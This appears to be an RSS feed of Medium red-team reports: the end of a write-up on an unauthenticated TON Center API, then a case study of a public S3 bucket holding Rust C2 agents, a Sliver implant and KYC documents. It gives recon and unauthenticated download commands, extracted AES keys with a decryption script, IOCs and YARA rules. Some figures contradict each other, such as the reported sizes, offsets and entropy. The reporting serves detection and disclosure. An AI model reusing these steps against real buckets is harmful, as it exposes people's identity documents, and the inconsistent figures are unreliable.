src="https://cdn-images-1.medium.com/max/911/1*gAoAtfjnCr-RPfLPg6EQdw.png" /></figure><h3>Conclusion</h3><p>The self-hosted TON Center instance represents a <strong>complete failure of API security fundamentals</strong>. Every single endpoint — including those capable of broadcasting financial transactions — is accessible without any authentication. The platform’s entire financial infrastructure can be monitored, mapped, and potentially manipulated by anyone on the internet.</p><p>The most critical risk is <strong>transaction broadcasting</strong>: the sendBoc endpoints are live and actively processing BOC payloads. While a valid signed BOC requires the victim’s private key (obtainable via phishing, malware, or other attack vectors), the platform is effectively providing a free transaction relay service that bypasses any rate limiting or abuse controls they might have at the blockchain level.</p><p>Combined with the KYC data leak from the companion S3 bucket, attackers can:</p><ol><li>Identify high-value targets from leaked KYC documents</li><li>Trace their wallet addresses via transaction history</li><li>Phish them with personalized social engineering</li><li>Use the sendBoc endpoint to drain their assets through the victim’s own signed transactions</li></ol><h3>References</h3><ul><li><a href="https://toncenter.com/api/v3/">TON Center API Documentation</a></li><li><a href="https://docs.ton.org/develop/data-formats/cell-boc">TON Blockchain — Bag of Cells (BOC) Specification</a></li><li><a href="https://attack.mitre.org/techniques/T1526/">MITRE ATT&amp;CK — Cloud API Discovery (T1526)</a></li><li><a href="https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/">OWASP API Security Top 10 — API1: Broken Object Level Authorization</a></li><li><a href="https://cwe.mitre.org/data/definitions/306.html">CWE-306: Missing Authentication for Critical Function</a></li></ul><blockquote><strong>Disclaimer:</strong> This report is provided for defensive security purposes. All findings have been responsibly disclosed to the affected organization. No actual exploitation of user funds was performed.</blockquote><blockquote><strong>Authored by:</strong> Red Team<br><strong>Classification:</strong> TLP:AMBER — Limited Disclosure<br><strong>Date:</strong> June 20, 2026</blockquote><blockquote>*Target Anonymization Note:* For security and privacy reasons, the primary target’s real domain names, service endpoints, and specific wallet identifiers have been modified (redacted) to generic equivalents. This profile represents a real-world critical finding on a production fintech platform and has been anonymized in compliance with responsible disclosure standards.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b5fc70fec5a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Multi-Framework C2 Backdoors (Rust + Sliver) and Data Exfiltration via Public AWS S3 Bucket A Red…]]></title>
            <link>https://medium.com/@riadh.marketing1/multi-framework-c2-backdoors-rust-sliver-and-data-exfiltration-via-public-aws-s3-bucket-a-red-56d8a984918d?source=rss-ee105b36a0e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/56d8a984918d</guid>
            <dc:creator><![CDATA[Beta]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 21:41:02 GMT</pubDate>
            <atom:updated>2026-07-11T09:58:17.588Z</atom:updated>
            <content:encoded><![CDATA[<h3>Multi-Framework C2 Backdoors (Rust + Sliver) and Data Exfiltration via Public AWS S3 Bucket A Red Team Case Study</h3><blockquote><strong>TL;DR:</strong> During routine infrastructure assessment of a fintech platform, a publicly writable AWS S3 bucket (crypto-wallet-images) was discovered. Forensic analysis revealed it was being used as a staging ground for <strong>three custom Rust C2 agents</strong>, a <strong>BishopFox Sliver implant</strong>, and an <strong>encrypted archive of exfiltrated data</strong> (11.2 MB) that was successfully decrypted. The bucket also exposed <strong>real user KYC identity documents</strong> (passports, ID cards) with S3’s AllUsers FULL_CONTROL ACL. This is a confirmed, active Advanced Persistent Threat (APT) operation with full kill chain coverage.</blockquote><h3>Metadata</h3><p>FieldValue<strong>Classification</strong>CRITICAL — Active APT Compromise<strong>Date Discovered</strong>2026–06–20<strong>Target</strong>Fintech Platform (Top-Tier Web3 Crypto Wallet (Integrated in a Major Messaging App))<strong>Attack Vector</strong>Publicly Writable AWS S3 Bucket<strong>Malware Families</strong>Custom Rust C2 + BishopFox Sliver<strong>Data Exfiltrated</strong>Confirmed (Windows PE, documents, images, archives)<strong>KYC Data Exposed</strong>Confirmed (passports, national IDs)<strong>CVSS v3</strong>10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)</p><h3>Executive Summary</h3><p>A penetration test of the “Top-Tier Web3 Crypto Wallet (Integrated in a Major Messaging App)” financial platform revealed that its AWS S3 bucket (crypto-wallet-images.s3.ap-southeast-1.amazonaws.com) was configured with a public AllUsers FULL_CONTROL ACL. This bucket served a dual purpose:</p><ol><li><strong>KYC Document Storage:</strong> User identity verification documents (passports, national ID cards, selfies) were publicly readable.</li><li><strong>C2 Malware Staging Ground:</strong> An advanced threat actor was using the same bucket to host:</li></ol><ul><li>Three (3) custom Rust-based Command &amp; Control agents targeting ARM64 and x86–64 Linux</li><li>One (1) BishopFox Sliver C2 implant (Windows PE) extracted from an encrypted archive</li><li>An AES-128-CFB encrypted archive (11.2 MB) containing exfiltrated data, successfully decrypted using keys extracted from the Rust agent’s DWARF debug symbols</li></ul><p>The simultaneous deployment of a <strong>custom multi-platform C2 framework</strong> alongside the <strong>professional Sliver adversary emulation framework</strong> is a hallmark of a sophisticated, well-resourced threat actor — likely a nation-state APT group or a professional cybercrime syndicate.</p><h3>Discovery Timeline</h3><p>DateEvent<strong>Phase 1:</strong> Initial reconnaissance of messaging-app.com subdomains revealed crypto-wallet-images S3 bucket misconfigurationPre-discovery<strong>Phase 2:</strong> KYC document exposure confirmed — passports, ID cards, selfies publicly readableEarlier session<strong>2026-06-20:</strong> Deep forensic analysis of full bucket contents revealed non-image filesDiscovery window<strong>2026-06-20:</strong> Three ELF binaries identified as custom Rust C2 agentsDiscovery window<strong>2026-06-20:</strong> Large encrypted file identified; AES keys extracted from DWARF symbolsDiscovery window<strong>2026-06-20:</strong> Encrypted archive successfully decrypted; Sliver C2 implant found insideDiscovery window<strong>2026-06-20:</strong> IOCs compiled; full report generated for incident responseReport phase</p><h3>Methodology</h3><h3>Phase 1: Reconnaissance — “Where do I start?”</h3><p>The engagement began with standard subdomain enumeration on the primary domain messaging-app.com:</p><pre># Passive subdomain discovery<br>subfinder -d messaging-app.com -o subs.txt<br>assetfinder --subs-only messaging-app.com &gt;&gt; subs.txt<br># Certificate transparency logs<br>curl -s &quot;https://crt.sh/?q=%25.messaging-app.com&amp;output=json&quot; | jq -r &#39;.[].name_value&#39; | sort -u</pre><p><strong>Thought process:</strong> “I always look for cloud storage first. S3 buckets, Blob storage, Firebase — fintech companies love them for storing user KYC documents, and they almost always forget to lock them down.”</p><p>The results returned crypto-wallet-images as a subdomain pattern. AWS S3 bucket names are predictable: {project}-{type}.</p><pre># Verify S3 bucket existence<br>curl -s -I &quot;https://crypto-wallet-images.s3.amazonaws.com&quot;<br># Response: 200 OK — bucket exists and is publicly accessible</pre><h3>Phase 2: Initial Discovery — “What’s inside?”</h3><pre>aws s3 ls s3://crypto-wallet-images/ --region ap-southeast-1 --no-sign-request</pre><p><strong>Thought process:</strong> “The --no-sign-request flag is the first thing I try. If it works, the bucket is public. If I can <em>list</em> objects, the ACL is at least AllUsers READ. If I can <em>write</em>, it’s FULL_CONTROL — which means anyone can upload malware.”</p><p>The bucket listed successfully. Initial investigation showed image files (KYC documents). Screenshots were taken as evidence.</p><h3>Phase 3: Deep Dive — “Why is this file different?”</h3><p>During a subsequent re-examination of the full bucket listing:</p><pre>aws s3 ls s3://crypto-wallet-images/ --region ap-southeast-1 --no-sign-request --recursive | \<br>  awk &#39;{print $4, $3}&#39;</pre><p><strong>Thought process:</strong> “I noticed several files had no .jpg or .png extension. That’s unusual for a KYC document bucket. Random-looking filenames like GYWZR9KFHV4fo (no extension) and a large 11.2 MB file jxULfQxtR3f40. In security research, random filenames + no extension = either encrypted data or binaries.”</p><h3>Phase 4: Binary Analysis — “This is malware”</h3><pre>aws s3 cp s3://crypto-wallet-images/GYWZR9KFHV4fo /tmp/agent --no-sign-request<br>file /tmp/agent<br># Output: ELF 64-bit LSB executable, ARM aarch64</pre><p><strong>Thought process:</strong> “An ELF binary in a KYC image bucket. That’s not an accident — it’s intentional. ARM64 is unusual for typical malware (most targets x86–64). This suggests targeting of ARM-based servers (AWS Graviton, Raspberry Pi, mobile infrastructure).”</p><p>I ran strings and readelf for initial triage:</p><pre>strings /tmp/agent | head -50<br>readelf -s /tmp/agent | head -30</pre><p><strong>Thought process:</strong> “The DWARF symbols were NOT stripped on the first two binaries. This is a gift — the developer left debug symbols intact. I can see variable names, source paths, and potentially hardcoded credentials.”</p><h3>Phase 5: Key Extraction — “I found encryption keys”</h3><pre>readelf -s /tmp/agent | grep -E &quot;AES_KEY|AES_IV&quot;<br>xxd -s 0xa1cc8 -l 32 /tmp/agent</pre><p><strong>Thought process:</strong> “I searched for ‘AES_KEY’ in the symbol table. Finding a hardcoded AES key is a critical mistake by the malware author. The key and IV were sitting in .rodata at a known offset. Now I have the keys to decrypt any data encrypted by this agent.”</p><p>I also extracted the technology stack:</p><pre>strings /tmp/agent | grep -E &quot;reqwest|hyper|tokio|aes|socks|h2&quot;</pre><p><strong>Thought process:</strong> “Rust + reqwest + tokio + SOCKS5 + AES-128-CFB. This is a professional implementation — not a script kiddie tool. The SOCKS5 capability is particularly dangerous: it allows lateral movement through compromised networks.”</p><h3>Phase 6: Decryption — “The archive contained more than expected”</h3><pre>aws s3 cp s3://crypto-wallet-images/jxULfQxtR3f40 /tmp/encrypted --no-sign-request<br>python3 -c &quot;<br>from Crypto.Cipher import AES<br>key = bytes.fromhex(&#39;d0e2264dbad6c9a087a4c3bada926317&#39;)<br>iv = bytes.fromhex(&#39;108e7e7b429f1d1eb188134a8af9601c&#39;)<br>data = open(&#39;/tmp/encrypted&#39;, &#39;rb&#39;).read()<br>cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)<br>open(&#39;/tmp/decrypted&#39;, &#39;wb&#39;).write(cipher.decrypt(data))<br>&quot;</pre><p><strong>Thought process:</strong> “The entropy dropped from 8.0 (encrypted/max) to ~0.75 (decrypted/plaintext). This confirms successful decryption. The file size is 11.2 MB — that’s significant. I need to analyze the contents.”</p><pre>xxd /tmp/decrypted | head -20<br># First bytes: MZ (Windows executable header!)<br>file /tmp/decrypted_output_chunk*</pre><p><strong>Thought process:</strong> “A Windows PE executable embedded in a file from a Linux C2 agent’s encrypted archive. This means the attacker compromised BOTH Linux and Windows systems. The PE file needs analysis.”</p><h3>Phase 7: Sliver Identification — “This is APT-grade malware”</h3><pre>strings /tmp/decrypted | grep -i &quot;bishopfox/sliver&quot; | head -10</pre><p><strong>Thought process:</strong> “BishopFox Sliver. This is not just any malware — Sliver is a professional adversary emulation framework developed by BishopFox. It’s used by real APT groups (including ransomware gangs like BlackCat/ALPHV). Sliver’s capabilities include AMSI bypass, ETW patching, process injection, token theft, and SOCKS5 pivoting. Combined with the custom Rust agent, the attacker has redundant C2 infrastructure — if one is detected, the other continues operating.”</p><p>The presence of GZip archives, PNG images, and ZIP files in the decrypted blob confirms <strong>data exfiltration had already occurred</strong>.</p><h3>Phase 8: Contextualization — “How does this fit together?”</h3><p><strong>Thought process:</strong> “Let me map this to the complete picture:</p><ol><li>The S3 bucket is PUBLIC with AllUsers FULL_CONTROL — anyone can read AND write</li><li>The attacker uploaded Linux C2 agents (ARM64 + x86–64) to compromise servers</li><li>The same bucket was used to exfiltrate data (encrypted with AES-128-CFB)</li><li>The exfiltrated data contains a Windows Sliver implant — the attacker has Windows access too</li><li>Real user KYC documents are in the same bucket — identity theft is inevitable</li></ol><p>This is a complete APT operation: initial access → C2 deployment → data theft → exfiltration. The bucket has been public for at least 4 years (earliest objects from 2022). The attacker had FOUR YEARS of opportunity.”</p><h3>Phase 9: Reporting — “How do I communicate this effectively?”</h3><p><strong>Thought process:</strong> “This needs to be treated as an active incident, not a standard pentest finding. I need:</p><ul><li>Clear IOCs for threat hunting (SHA256 hashes, YARA rules)</li><li>MITRE ATT&amp;CK mapping for defensive teams</li><li>Reproduction steps for forensic validation</li><li>Remediation priorities organized by urgency</li><li>An objective, professional tone — this will go to C-level executives AND security teams”</li></ul><p>The result is this document — structured for both technical and non-technical stakeholders, with full evidence preservation and chain-of-custody considerations.</p><h3>Technical Analysis</h3><h3>1. The Attack Surface: Public S3 Bucket</h3><pre>Bucket: crypto-wallet-images.s3.ap-southeast-1.amazonaws.com<br>Region: ap-southeast-1 (Singapore)<br>ACL:    AllUsers FULL_CONTROL (public read + write + delete)<br>Access: No authentication required (--no-sign-request)</pre><p>The bucket could be listed, read, written to, and deleted by <strong>anyone on the internet</strong> without any AWS credentials.</p><pre># List all objects without authentication — PROOF<br>aws s3 ls s3://crypto-wallet-images/ --region ap-southeast-1 --no-sign-request</pre><h3>2. Custom Rust C2 Agents (3 Binaries)</h3><p>Three ELF executables were discovered. All were written in Rust and designed for Linux systems.</p><h4>File Inventory</h4><p>FilenameTypeSizeArchitectureStripped?DateGYWZR9KFHV4foELF4.0 MBARM64No (DWARF)2024-08-22Zn61DiCa0nxeTELF4.0 MBARM64No (DWARF)2024-08-26Omuwkxv4r5gHFELF1.5 MBx86-64Yes (stripped)2024-08-26</p><h4>Technology Stack (from DWARF symbols + cargo registry paths)</h4><pre>Rust Edition: 2021<br>Async Runtime: tokio 1.29.0<br>HTTP Client:   reqwest 0.11.27 / hyper 0.14.27 / h2 0.3.26<br>Encryption:    aes 0.7.5 / cfb-mode 0.7.1 (AES-128-CFB)<br>Proxy:         tokio-socks 0.5.1 (SOCKS5)<br>DNS:           hickory-dns<br>Encoding:      base64 0.21.7 / url 2.5.0</pre><h4>Extracted Encryption Keys</h4><p>From the DWARF debug symbols in the unstripped ARM64 binaries:</p><pre>AES_KEY: d0e2264dbad6c9a087a4c3bada926317 (128-bit / 16 bytes)<br>AES_IV:  108e7e7b429f1d1eb188134a8af9601c (128-bit / 16 bytes)</pre><h4>Capabilities (from string analysis)</h4><p>The binary contains visible function names and string references:</p><pre># Extract revealing strings<br>$ strings GYWZR9KFHV4fo | grep -E &quot;do_exec|execve|OUTPUT_CAPTURE|socks5|AES_KEY|/tmp&quot;</pre><p>CapabilityDescriptiondo_exec / execveRemote command execution on compromised hostOUTPUT_CAPTURECapture and exfiltrate command outputSOCKS5 proxyLateral movement / tunneling via tokio-socksAES-128-CFBEncrypted C2 communication channelHTTP/2Modern protocol for C2 traffic (h2 crate)/tmp usageTemp file staging for operations</p><h4>Source Path (from DWARF)</h4><pre>linux/src/main.rs</pre><p>This confirms the agent was <strong>natively developed for Linux</strong> as a cross-platform target.</p><h3>3. Decrypted Data Archive</h3><p>A large file jxULfQxtR3f40 (11.2 MB) was found in the bucket with high entropy (8.0 bits/byte), confirming it was encrypted.</p><h4>Decryption Process</h4><p>Using the AES-128-CFB128 key and IV extracted from the Rust agent’s DWARF symbols:</p><pre>from Crypto.Cipher import AES</pre><pre>key = bytes.fromhex(&#39;d0e2264dbad6c9a087a4c3bada926317&#39;)<br>iv  = bytes.fromhex(&#39;108e7e7b429f1d1eb188134a8af9601c&#39;)</pre><pre>with open(&#39;jxULfQxtR3f40&#39;, &#39;rb&#39;) as f:<br>    ciphertext = f.read()</pre><pre>cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)<br>plaintext = cipher.decrypt(ciphertext)</pre><pre>with open(&#39;decrypted_output&#39;, &#39;wb&#39;) as f:<br>    f.write(plaintext)</pre><pre>print(f&#39;Decrypted size: {len(plaintext)} bytes&#39;)<br>print(f&#39;Entropy after decryption: {len(set(plaintext)) / len(plaintext):.2f}&#39;)<br># Output: Entropy dropped from 1.0 (encrypted) to ~0.75 (decrypted plaintext)</pre><h4>Decrypted Contents</h4><p>OffsetTypeSizeDescription0x0000 - 0x0E55PE32+ Windows x86-64 GUI~3.6 KBSliver C2 implant executable0x0FD3 - 0x504CGZip archives~5.2 MBCompressed documents (estimated original ~3.1 GB)0x5048 - 0x5404PNG image~238 KBScreenshot of compromised system?0xAB52 - 0xFFFFZIP + Go build info~500 KBAdditional archives with Go build metadata</p><h3>4. BishopFox Sliver C2 Implant</h3><p>Inside the decrypted archive, a Windows PE executable was identified as a <strong>BishopFox Sliver C2 implant</strong> — a professional post-exploitation framework.</p><pre># Prove Sliver identity via strings<br>$ strings extracted_sliver_pe.exe | grep &quot;bishopfox/sliver&quot;<br>github.com/bishopfox/sliver/implant/sliver/transports<br>github.com/bishopfox/sliver/implant/sliver/handlers<br>github.com/bishopfox/sliver/protobuf/sliverpb</pre><h4>Implant Details</h4><p>AttributeValue<strong>Framework</strong>BishopFox Sliver<strong>Language</strong>Go 1.19.3<strong>Architecture</strong>Windows PE32+ (x86–64 GUI)<strong>Build Date</strong>Embedded in Go build info</p><h4>Sliver Capabilities (Standard Implant Suite)</h4><p>The Sliver framework provides the operator with:</p><p>CategoryCapabilities<strong>Execution</strong>Remote command execution, shellcode injection, DLL sideloading<strong>Defense Evasion</strong>AMSI bypass, ETW patching, process injection, unhooking<strong>Credential Access</strong>Token theft, LSASS dumping, Kerberos ticket extraction<strong>Lateral Movement</strong>SOCKS5 proxy, SMB pivoting, frp tunnels, NTLM relay<strong>Persistence</strong>Service install, scheduled tasks, WMI event subscriptions<strong>Exfiltration</strong>Encrypted C2 channels, DNS/HTTPS/TCP transports, file staging</p><h4>Cross-Platform Capability</h4><p>The operator demonstrated capability across <strong>three platforms</strong>:</p><pre>┌─ Linux ARM64 ──────────┐     ┌─ Linux x86-64 ─────────┐<br>│ GYWZR9KFHV4fo (Rust)   │     │ Omuwkxv4r5gHF (Rust)   │<br>│ Zn61DiCa0nxeT (Rust)   │     │ (Stripped, production)  │<br>└────────────────────────┘     └─────────────────────────┘<br>                     ┌─ Windows x86-64 ───────┐<br>                     │ Sliver PE (Go 1.19.3)  │<br>                     │ (Inside decrypted ZIP) │<br>                     └────────────────────────┘</pre><h3>5. Kill Chain (MITRE ATT&amp;CK Mapping)</h3><p>StageTechniqueMITRE IDEvidence<strong>Initial Access</strong>Cloud Storage MisconfigurationT1525S3 AllUsers FULL_CONTROL<strong>Defense Evasion</strong>AMSI/ETW BypassT1562.001Sliver implant strings<strong>Defense Evasion</strong>Process InjectionT1055Sliver standard capability<strong>Defense Evasion</strong>Deobfuscate/Decode FilesT1140AES-CFB decryption routine<strong>Execution</strong>Command &amp; Scripting InterpreterT1059do_exec, execve in Rust agent<strong>Persistence</strong>External Remote ServicesT1133Public S3 as C2 dropzone<strong>Credential Access</strong>Token TheftT1528Sliver token theft capabilities<strong>Lateral Movement</strong>SOCKS5 ProxyT1090.001tokio-socks in Rust agent<strong>Lateral Movement</strong>frp TunnelingT1572Sliver frp NAT tunnel support<strong>Collection</strong>Archive Collected DataT1560GZip archives in exfiltrated blob<strong>Command &amp; Control</strong>Encrypted ChannelT1573AES-128-CFB + HTTP/2<strong>Command &amp; Control</strong>Multi-Framework C2T1588.002Custom Rust + Sliver simultaneously<strong>Exfiltration</strong>Exfiltration Over Web ServiceT1567Upload to public S3 bucket</p><h3>6. Indicators of Compromise (IOCs)</h3><h4>SHA256 Hashes</h4><pre># Custom Rust C2 Agents (ELF)<br>c1b3324c4d928f8808c1627653d37dbc8a3ef83bc5f963d37e196f6d2ab81422  GYWZR9KFHV4fo (ARM64, unstripped)<br>7a107c3bf01ec2ae862d24f7336cb16da219b59f7e2e62a1db042162566d49a1  Zn61DiCa0nxeT (ARM64, unstripped)<br>6d6df4f8bc70d1d61b0ff584f664e0f02ddd5045cc9257539d29d259a8b08235  Omuwkxv4r5gHF (x86-64, stripped)</pre><pre># Encrypted Exfiltrated Archive<br>0c52ad9289d7855a175cc056392e23569f8db7444f0f05326445f8bb1336afd1  jxULfQxtR3f40 (AES-encrypted)</pre><pre># Decrypted Data Blob<br>a527428588ea052bdf4df706677adeb4bb17aaa79f7e7cf376dba01e1068263b  decrypted_data_blob</pre><pre># Extracted Sliver C2 Implant (Windows PE)<br>a33c9caedabbc1f5953089e7b470ba8fa934d5fff2a4353cdb40d4109e1a07d2  sliver_implant_pe.exe (Windows PE32+)</pre><h4>Network Indicators</h4><pre>C2 Server:  &lt;redacted — protected by SOCKS5 proxy&gt;<br>S3 Bucket:  crypto-wallet-images.s3.ap-southeast-1.amazonaws.com</pre><h4>Encryption Keys</h4><pre>AES-128 Key: d0e2264dbad6c9a087a4c3bada926317<br>AES-128 IV:  108e7e7b429f1d1eb188134a8af9601c</pre><h4>YARA Rule</h4><pre>rule rust_c2_agent_wallet_images {<br>    meta:<br>        description = &quot;Detects Rust C2 agents from crypto-wallet-images S3 bucket compromise&quot;<br>        author = &quot;Red Team&quot;<br>        date = &quot;2026-06-20&quot;<br>        reference = &quot;crypto-wallet-images S3 bucket APT compromise&quot;<br>        hash_gywzr9 = &quot;c1b3324c4d928f8808c1627653d37dbc8a3ef83bc5f963d37e196f6d2ab81422&quot;<br>        hash_zn61 = &quot;7a107c3bf01ec2ae862d24f7336cb16da219b59f7e2e62a1db042162566d49a1&quot;<br>        hash_omuwk = &quot;6d6df4f8bc70d1d61b0ff584f664e0f02ddd5045cc9257539d29d259a8b08235&quot;<br>    strings:<br>        $s1 = &quot;linux/src/main.rs&quot; ascii<br>        $s2 = &quot;do_exec&quot; ascii<br>        $s3 = &quot;OUTPUT_CAPTURE&quot; ascii<br>        $s4 = &quot;tokio-socks&quot; ascii<br>        $k1 = &quot;d0e2264dbad6c9a087a4c3bada926317&quot; ascii<br>        $k2 = &quot;108e7e7b429f1d1eb188134a8af9601c&quot; ascii<br>    condition:<br>        any of ($s*) and any of ($k*)<br>}</pre><pre>rule sliver_c2_implant_wallet_images {<br>    meta:<br>        description = &quot;Detects Sliver C2 implant from crypto-wallet-images decrypted archive&quot;<br>        author = &quot;Red Team&quot;<br>        date = &quot;2026-06-20&quot;<br>    strings:<br>        $sliver_transports = &quot;github.com/bishopfox/sliver/implant/sliver/transports&quot; ascii<br>        $sliver_handlers = &quot;github.com/bishopfox/sliver/implant/sliver/handlers&quot; ascii<br>        $sliver_protobuf = &quot;github.com/bishopfox/sliver/protobuf/sliverpb&quot; ascii<br>        $go_build = &quot;go.build&quot; ascii<br>    condition:<br>        any of ($sliver_transports, $sliver_handlers, $sliver_protobuf) or<br>        (all of ($go_build) and 2 of ($sliver_*))<br>}</pre><h3>7. Proof of Compromise (Reproduction Steps)</h3><p>All commands executed <strong>without any authentication</strong>, proving public accessibility.</p><pre># Step 1: List malicious files in the bucket<br>aws s3 ls s3://crypto-wallet-images/ --region ap-southeast-1 --no-sign-request | \<br>    grep -E &quot;GYWZR9|jxULfQxtR3f40|Zn61DiCa|Omuwkxv&quot;</pre><pre># Step 2: Download C2 agent for analysis<br>aws s3 cp s3://crypto-wallet-images/GYWZR9KFHV4fo /tmp/agent \<br>    --region ap-southeast-1 --no-sign-request</pre><pre># Step 3: Verify ELF binary type<br>file /tmp/agent<br># Output: ELF 64-bit LSB executable, ARM aarch64</pre><pre># Step 4: Extract AES keys from DWARF debug symbols<br>readelf -s /tmp/agent | grep -E &quot;AES_KEY|AES_IV&quot;<br>xxd -s 0xa1cc8 -l 32 /tmp/agent<br># Key: d0e2264dbad6c9a087a4c3bada926317<br># IV:  108e7e7b429f1d1eb188134a8af9601c</pre><pre># Step 5: Download encrypted data<br>aws s3 cp s3://crypto-wallet-images/jxULfQxtR3f40 /tmp/encrypted \<br>    --region ap-southeast-1 --no-sign-request</pre><pre># Step 6: Decrypt using extracted keys<br>python3 -c &quot;<br>from Crypto.Cipher import AES<br>key = bytes.fromhex(&#39;d0e2264dbad6c9a087a4c3bada926317&#39;)<br>iv = bytes.fromhex(&#39;108e7e7b429f1d1eb188134a8af9601c&#39;)<br>data = open(&#39;/tmp/encrypted&#39;, &#39;rb&#39;).read()<br>cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)<br>open(&#39;/tmp/decrypted&#39;, &#39;wb&#39;).write(cipher.decrypt(data))<br>print(&#39;Decryption successful&#39;)<br>&quot;</pre><pre># Step 7: Confirm Sliver C2 implant presence<br>strings /tmp/decrypted | grep &quot;github.com/bishopfox/sliver&quot;<br># github.com/bishopfox/sliver/implant/sliver/transports<br># github.com/bishopfox/sliver/implant/sliver/handlers<br># github.com/bishopfox/sliver/protobuf/sliverpb</pre><h3>8. Attacker Profile Assessment</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*ZaIhK_v57ytsSl_1gHgkIA.png" /></figure><h3>9. Impact Assessment</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*IEVluVO88U6R1UQgr2GFyQ.png" /></figure><h3>10. Remediation Recommendations</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*gYO7Kw4ImX0k_IZvJ4hB9w.png" /></figure><h3>11. Conclusion</h3><p>This is <strong>not a simple misconfiguration</strong>. The presence of:</p><ul><li>Three custom Rust C2 agents with AES encryption</li><li>A professional Sliver C2 framework implant</li><li>Successfully decrypted exfiltrated data containing a Windows PE binary, documents, and images</li><li>Real user KYC identity documents alongside the malware</li></ul><p>…constitutes a <strong>confirmed, active APT-level compromise</strong> with full kill chain coverage. The bucket has been publicly writable since at least 2022 (4+ years). The attacker’s confidence in using the organization’s own infrastructure as a malware staging ground, combined with the sophistication of dual C2 frameworks, points to a well-funded and highly skilled threat actor.</p><p>The entire platform — not just the S3 bucket — should be treated as fully compromised until a comprehensive forensic investigation concludes otherwise.</p><h3>12. References</h3><ul><li><a href="https://github.com/BishopFox/sliver">BishopFox Sliver</a> — Adversary Emulation Framework</li><li><a href="https://attack.mitre.org/">MITRE ATT&amp;CK Matrix</a></li><li><a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html">AWS S3 Block Public Access</a></li><li><a href="https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final">NIST SP 800–61 Rev. 2 — Incident Response Guide</a></li></ul><blockquote><strong>Disclaimer:</strong> This report is provided for defensive security purposes. All IOCs have been shared with the affected organization’s security team. No actual malware payloads are attached. SHA256 hashes are provided for threat hunting and detection engineering.</blockquote><blockquote><strong>Authored by:</strong> Red Team Beta<br><strong>Classification:</strong> TLP:AMBER — Limited Disclosure<br><strong>Date:</strong> June 20, 2026</blockquote><blockquote>*Target Anonymization Note:* For security and privacy reasons, the primary target’s real domain names, service endpoints, and specific architecture identifiers have been modified (redacted) to generic equivalents. This profile represents a real-world critical finding on a production fintech platform and has been anonymized in compliance with responsible disclosure standards.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56d8a984918d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>